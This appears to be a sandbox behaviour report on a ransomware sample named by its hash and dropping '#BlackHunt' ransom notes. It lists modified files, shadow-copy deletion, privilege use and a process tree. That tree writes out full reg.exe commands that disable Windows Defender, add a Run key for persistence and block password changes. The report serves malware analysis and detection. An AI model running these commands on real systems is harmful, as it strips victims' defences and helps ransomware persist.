File created	C:\Program Files\Java\jre7\lib\zi\Asia\#BlackHunt_Private.key	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Eurosti.TTF	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-spi-quicksearch.xml	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.hta	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_zh_HK.properties	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files (x86)\Google\Update\Install\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.ibm.icu_52.1.0.v201404241930.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hovd	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\org-netbeans-modules-profiler_visualvm.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_SelectionSubpicture.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-previous-static.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\jconsole.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\#BlackHunt_ReadMe.hta	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_ReadMe.hta	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.hta	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Casablanca	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_title.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_Private.key	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.jasper.glassfish_2.2.2.v201205150955.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-nodes.xml	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\#BlackHunt_ReadMe.hta	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DissolveNoise.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Mask1.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-tabcontrol.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Enderbury	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.xml_1.3.4.v201005080400.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_ja.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.databinding.nl_zh_4.4.0.v20140623020002.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Accra	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\eclipse.inf	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Whitehorse	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2144	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1604	vssadmin.exe
3044	vssadmin.exe
2620	vssadmin.exe
2828	vssadmin.exe
2684	vssadmin.exe
1440	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2388	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2532	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1520	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeRestorePrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeBackupPrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeTakeOwnershipPrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeAuditPrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeSecurityPrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeIncBasePriorityPrivilege	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Token: SeBackupPrivilege	1884	vssvc.exe
Token: SeRestorePrivilege	1884	vssvc.exe
Token: SeAuditPrivilege	1884	vssvc.exe
Token: SeBackupPrivilege	2940	wbengine.exe
Token: SeRestorePrivilege	2940	wbengine.exe
Token: SeSecurityPrivilege	2940	wbengine.exe
Token: SeSecurityPrivilege	1668	wevtutil.exe
Token: SeSecurityPrivilege	3020	wevtutil.exe
Token: SeSecurityPrivilege	580	wevtutil.exe
Token: SeBackupPrivilege	1668	wevtutil.exe
Token: SeBackupPrivilege	3020	wevtutil.exe
Token: SeBackupPrivilege	580	wevtutil.exe
Token: SeSecurityPrivilege	2468	wevtutil.exe
Token: SeSecurityPrivilege	2852	wevtutil.exe
Token: SeBackupPrivilege	2852	wevtutil.exe
Token: SeBackupPrivilege	2468	wevtutil.exe
Token: SeDebugPrivilege	2388	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 2708	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	29
PID 1700 wrote to memory of 2708	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	29
PID 1700 wrote to memory of 2708	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	29
PID 1700 wrote to memory of 2708	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	29
PID 1700 wrote to memory of 2564	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	30
PID 1700 wrote to memory of 2564	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	30
PID 1700 wrote to memory of 2564	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	30
PID 1700 wrote to memory of 2564	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	30
PID 1700 wrote to memory of 1184	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	31
PID 1700 wrote to memory of 1184	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	31
PID 1700 wrote to memory of 1184	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	31
PID 1700 wrote to memory of 1184	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	31
PID 1700 wrote to memory of 2716	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	32
PID 1700 wrote to memory of 2716	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	32
PID 1700 wrote to memory of 2716	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	32
PID 1700 wrote to memory of 2716	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	32
PID 1700 wrote to memory of 2080	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	33
PID 1700 wrote to memory of 2080	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	33
PID 1700 wrote to memory of 2080	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	33
PID 1700 wrote to memory of 2080	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	33
PID 2564 wrote to memory of 2800	2564	cmd.exe	42
PID 2564 wrote to memory of 2800	2564	cmd.exe	42
PID 2564 wrote to memory of 2800	2564	cmd.exe	42
PID 1184 wrote to memory of 2560	1184	cmd.exe	41
PID 1184 wrote to memory of 2560	1184	cmd.exe	41
PID 1184 wrote to memory of 2560	1184	cmd.exe	41
PID 2716 wrote to memory of 2620	2716	cmd.exe	39
PID 2716 wrote to memory of 2620	2716	cmd.exe	39
PID 2716 wrote to memory of 2620	2716	cmd.exe	39
PID 2708 wrote to memory of 2568	2708	cmd.exe	40
PID 2708 wrote to memory of 2568	2708	cmd.exe	40
PID 2708 wrote to memory of 2568	2708	cmd.exe	40
PID 2080 wrote to memory of 2576	2080	cmd.exe	43
PID 2080 wrote to memory of 2576	2080	cmd.exe	43
PID 2080 wrote to memory of 2576	2080	cmd.exe	43
PID 1700 wrote to memory of 2600	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	44
PID 1700 wrote to memory of 2600	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	44
PID 1700 wrote to memory of 2600	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	44
PID 1700 wrote to memory of 2600	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	44
PID 1700 wrote to memory of 3016	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	47
PID 1700 wrote to memory of 3016	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	47
PID 1700 wrote to memory of 3016	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	47
PID 1700 wrote to memory of 3016	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	47
PID 1700 wrote to memory of 2812	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	48
PID 1700 wrote to memory of 2812	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	48
PID 1700 wrote to memory of 2812	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	48
PID 1700 wrote to memory of 2812	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	48
PID 1700 wrote to memory of 3028	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	50
PID 1700 wrote to memory of 3028	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	50
PID 1700 wrote to memory of 3028	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	50
PID 1700 wrote to memory of 3028	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	50
PID 1700 wrote to memory of 1940	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	54
PID 1700 wrote to memory of 1940	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	54
PID 1700 wrote to memory of 1940	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	54
PID 1700 wrote to memory of 1940	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	54
PID 1700 wrote to memory of 1988	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	52
PID 1700 wrote to memory of 1988	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	52
PID 1700 wrote to memory of 1988	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	52
PID 1700 wrote to memory of 1988	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	52
PID 1700 wrote to memory of 664	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	55
PID 1700 wrote to memory of 664	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	55
PID 1700 wrote to memory of 664	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	55
PID 1700 wrote to memory of 664	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	55
PID 1700 wrote to memory of 976	1700	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
"C:\Users\Admin\AppData\Local\Temp\15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
